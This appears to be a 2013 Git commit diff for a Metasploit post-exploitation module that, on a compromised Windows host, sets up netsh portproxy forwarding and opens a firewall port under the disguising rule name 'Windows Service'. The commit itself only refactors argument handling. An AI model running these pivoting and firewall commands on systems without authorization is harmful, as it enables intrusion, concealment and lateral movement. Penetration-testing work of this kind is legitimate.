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Use datastore options to avoid complex logic around args

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This commit is contained in:
jvazquez-r7 2013-08-28 17:00:10 -05:00
parent c68986e6eb
commit ad1b9fbaef
1 changed files with 18 additions and 19 deletions
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37
modules/post/windows/manage/portproxy.rb
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@ -41,19 +41,12 @@ class Metasploit3 < Msf::Post
return
end
type = datastore['TYPE']
lport = datastore['LPORT']
cport = datastore['CPORT']
ipv6_xp = datastore['IPV6_XP']
laddress = datastore['LADDRESS']
caddress = datastore['CADDRESS']
return unless enable_portproxy(lport,cport,laddress,caddress,type,ipv6_xp)
fw_enable_ports(lport)
return unless enable_portproxy
fw_enable_ports
end
def enable_portproxy(lport,cport,laddress,caddress,type,ipv6_xp)
def enable_portproxy
rtable = Rex::Ui::Text::Table.new(
'Header' => 'Port Forwarding Table',
'Indent' => 3,
@ -63,11 +56,17 @@ class Metasploit3 < Msf::Post
# Due to a bug in Windows XP you need to install IPv6
# http://support.microsoft.com/kb/555744/en-us
if sysinfo["OS"] =~ /XP/
return false if not check_ipv6(ipv6_xp)
return false if not check_ipv6
end
print_status("Setting PortProxy ...")
output = cmd_exec("netsh","interface portproxy add #{type} listenport=#{lport} listenaddress=#{laddress} connectport=#{cport} connectaddress=#{caddress}")
netsh_args = "interface portproxy "
netsh_args << "add #{datastore['TYPE']} "
netsh_args << "listenport=#{datastore['LPORT']} "
netsh_args << "listenaddress=#{datastore['LADDRESS']} "
netsh_args << "connectport=#{datastore['CPORT']} "
netsh_args << "connectaddress=#{datastore['CADDRESS']}"
output = cmd_exec("netsh", netsh_args)
if output.size > 2
print_error("Setup error. Verify parameters and syntax.")
return false
@ -92,12 +91,12 @@ class Metasploit3 < Msf::Post
end
end
def check_ipv6(ipv6_xp)
def check_ipv6
if ipv6_installed()
print_status("IPv6 is already installed.")
return true
else
if not ipv6_xp
if not datastore['IPV6_XP']
print_error("IPv6 is not installed. You need IPv6 to use portproxy.")
return false
else
@ -113,17 +112,17 @@ class Metasploit3 < Msf::Post
end
end
def fw_enable_ports(port)
print_status ("Setting port #{port} in Windows Firewall ...")
def fw_enable_ports
print_status ("Setting port #{datastore['LPORT']} in Windows Firewall ...")
begin
if sysinfo["OS"] =~ /Windows 7|Vista|2008|2012/
cmd_exec("netsh","advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{port}\"")
cmd_exec("netsh","advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{datastore['LPORT']}\"")
else
cmd_exec("netsh","firewall set portopening protocol=TCP port=\"#{port}\"")
cmd_exec("netsh","firewall set portopening protocol=TCP port=\"#{datastore['LPORT']}\"")
end
output = cmd_exec("netsh","firewall show state")
if output =~ /^#{port} /
if output =~ /^#{datastore['LPORT']} /
print_good("Port opened in Windows Firewall.")
else
print_error("There was an error enabling the port.")